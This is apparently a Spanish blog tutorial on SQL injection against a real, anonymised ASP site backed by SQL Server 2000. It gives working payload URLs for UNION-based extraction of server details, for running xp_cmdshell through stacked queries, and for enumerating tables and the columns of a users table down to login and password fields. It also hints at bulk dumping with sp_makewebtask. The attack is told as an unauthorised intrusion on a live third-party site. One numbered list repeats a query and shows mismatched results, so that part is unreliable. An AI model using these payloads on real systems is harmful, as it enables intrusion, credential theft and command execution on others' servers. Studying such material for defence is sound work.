Intrusión de seguridad en una aplicación web

De todos es sabido que el tema de la seguridad es uno de los obligados a tener en cuenta en el desarrollo de cualquiera aplicación. No somos pocos los que hemos leído noticias sobre aplicaciones Web vulnerables a ataques de Inyección SQL, Inyección SQL a ciegas, por consultas de tiempo o por consultas de tiempo pesadas pero quizás no todos lo han comprobado in situ. Para ellos vamos a ver un ejemplo sacado de una Web real y en el que se han modificado las URL para evitar futuras pruebas de algún usuario curioso.

Navegando, navegando nos encontramos con algo

No sabemos cómo hemos encontrado una URL, que muestra una imagen y que nos parece fácilmente modificable.

http://www.example.com/document.asp?id=108

Lo primero que se nos ocurre es introducir en el valor del parámetro pasado un carácter no esperado, la eterna comilla simple:

http://www.example.com/document.asp?id=108'

Que provoca un error en el que se nos indica que el motor de la base de datos es un SQL Server, a través de el nombre del proveedor ODBC de la conexión.

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string ''.
/document.asp, line 15

Con esto hemos confirmado que la aplicación no analiza los parámetros de la URL y que estos son pasados directamente hacia la base de datos. Así que ahora nos queda utilizar consultas SQL, propias o no del motor de BB.DD, para sacar los datos que queremos. A jugar:

  1. Intentamos averiguar el nombre del usuario con el que se están ejecutando las conexiones a la base de datos.
    • consulta: http://www.example.com/document.asp?id=-108+union+all+select+SYSTEM_USER
    • resultado: userexample
  2. Nombre del servidor de base de datos:
    • consulta: http://www.example.com/document.asp?id=-108+union+all+select+@@SERVERNAME
    • resultado: BD
  3. Versión del motor de base de datos.
    • consulta: http://www.example.com/document.asp?id=-108+union+all+select+@@VERSION
    • resultado: userexample
  4. Intentamos averiguar el nombre del usuario con el que se están ejecutando las conexiones a la base de datos.
    • consulta: http://www.example.com/document.asp?id=-108+union+all+select+SYSTEM_USER
    • resultado:
      Microsoft SQL Server  2000 - 8.00.760 (Intel X86) 
      Dec 17 2002 14:22:05 
      Copyright (c) 1988-2003 Microsoft Corporation
      Standard Edition on Windows NT 5.2 (Build 3790: Service Pack 2)
      
  5. Nombre de la instancia de SQL SERVER que se está ejecutando en el servidor.
    • consulta: http://www.example.com/document.asp?id=-108+union+all+select+@@SERVICENAME
    • resultado: MSSQLSERVER

Pasamos a palabras mayores.

Hemos visto que todo aquello que le pasamos a la aplicación por la URL le llega a la base da datos y que esta es un SQL SERVER 2000. Sabiendo esto probamos a ejecutar alguno de los procedimientos almacenados que existen, por defecto, en dicha base de datos (Aviso: si bien es cierto que dependiendo de la versión de SQL Server estos vienen deshabilitados, no es el primer caso que, al utilizar para conectarse un usuario con más privilegios de los necesarios, se ha podido reconfigurar el servidor para habilitarlos).

Empezamos por el más jugoso: xp_cmdshell pero antes una explicación del funcionamiento esperado por la aplicación.

Si solicitamos la URL inicial

http://www.example.com/document.asp?id=108

se nos sirve una imagen. Utilizando la capacidad de SQL Server de ejecutar varias sentencias SQL separadas por punto y coma, vamos a intentar que ejecute la consulta que normalmente hace (la que extrae la imagen que debe mostrar) y acto seguido una nueva consulta. Si al hacerlo la segunda consulta no se ejecuta, por algún error o problema, la aplicación nos devuelverá un mensaje de error y no veremos la imagen. Así si solicitamos la URL:

http://www.example.com/document.asp?id=108;select+from

Obtendremos el mensaje de error esperado:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Incorrect syntax near the keyword 'from'.
/document.asp, line 15 

Pero si lo que le mandamos es una consulta correcta

http://www.example.com/document.asp?id=108;select+1

Nos devolverá la imagen inicial. Teniendo esto en cuenta probamos con la URL

http://www.example.com/document.asp?id=108;exec+xp_cmdshell+'dir+c:'

Dios, vemos la imagen!!! Para nuestra sorpresa, y por qué no alegría, nos devuelve la imagen inicial ya que el comando se ejecutó (pensad en todo lo que se puede hacer con una consola de MS-DOS y entenderéis lo de la alegría). Si pudimos ejecutar xp_cmdshell imaginad cual de los demás que tenemos a nuestra disposición también funcionará.

El trabajo del artesano.

Como este documento pretende ser didáctico, seguiremos con al extracción de información a la antigua usanza: a mano 🙂 En SQL Server sabemos que las tablas existente en la base de datos se almacenan en la tabla sysobjects con un tipo determinado, xtype = ‘U’. Si probamos a ver que nombre nos devuelve la aplicación al pedirle estas tablas:

http://www.example.com/document.asp?id=-108+UNION+ALL+SELECT+name+FROM+sysobjects+WHERE+xtype='U'

Obtenemos la tabla ‘tb_idioma’. Si ahora le pedimos otra tabla de usuario que no sea la que ya nos dió:

http://www.example.com/document.asp?id=-108+UNION+ALL+SELECT+name+FROM+sysobjects+WHERE+xtype='U'+AND+name+NOT+IN('tb_idioma')

Nos devuelve otra nueva: ‘_retablos’. Si ahora le pedimos otra que no sea ninguna de las anteriores:

http://www.example.com/document.asp?id=-108+UNION+ALL+SELECT+name+FROM+sysobjects+
WHERE+xtype='U'+AND+name+NOT+IN('tb_idioma','_retablos')

Nos devuelve otra más: tb_progr. Con este procedimiento podemos ir sacando una a una las tablas de la actual base de datos, algunas de las cuales son: tb_progr, tb_hora, tb_prog_old, tbSitios, […], tbUsuarios, […], etc

Fijaros que hemos sacado una que parece interesante: tbUsuarios. Si ahora nos da por pedir los nombres de los campos de esta tabla:

http://www.example.com/document.asp?id=-108+UNION+ALL+SELECT+name+FROM+syscolumns+
WHERE+id=(SELECT+id+FROM+sysobjects+WHERE+name+=+'tbUsuarios')

nos devuelve el primer campo de la tabla: ‘activo’. Como somos vagos, para qué engañarnos, seguimos el mismo procedimiento que en el caso de los nombres de las tablas. Así, ejecutamos consultas del tipo:

http://www.example.com/document.asp?id=-108+union+all+SELECT+name+FROM+syscolumns+
WHERE+id=(SELECT+id+FROM+sysobjects+WHERE+name+=+'tbUsuarios')+
AND+name+not+in+('activo')

y con no más de 20 conseguiremos casi todos los nombres de los campos de la tabla, entre los que están unos que nos gustan mucho: ‘uLogin‘ y ‘uPassword

Acabando que es gerundio.

Esto de ir uno a uno sacando los datos de cada usuario se nos hace pesado así que pensamos: ¿no habrá algún modo de sacar todos los datos de golpe? hummm Creo que algo había: ¿algo así como “sp_makewebtask“?

P.D.Cuidado con lo que hacéis y dónde lo hacéis porque el enredar con la máquina de otro es peligroso.